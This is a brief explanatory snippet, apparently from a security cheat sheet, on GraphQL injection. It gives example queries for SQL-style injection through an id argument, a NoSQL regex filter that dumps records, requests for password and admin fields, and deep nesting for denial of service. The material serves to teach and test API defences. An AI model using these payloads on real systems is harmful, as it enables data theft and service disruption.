GraphQL Injection refers to various attack vectors targeting GraphQL APIs, including query manipulation, injection through arguments, and exploiting the flexible query structure to access unauthorized data or cause denial of service.
# If arguments are used in backend queries unsafely:
query {
user(id: "1 OR 1=1") {
email
password
}
}
# NoSQL injection in filters
query {
users(filter: {email: {$regex: ".*"}}) {
email
}
}
# Accessing fields not intended for user
query {
user(id: 1) {
name
email
password # Sensitive field
isAdmin # Authorization check bypass
}
}
# Nested query amplification
query {
posts {
author {
posts {
author {
# Deep nesting causes performance issues
}
}
}
}
}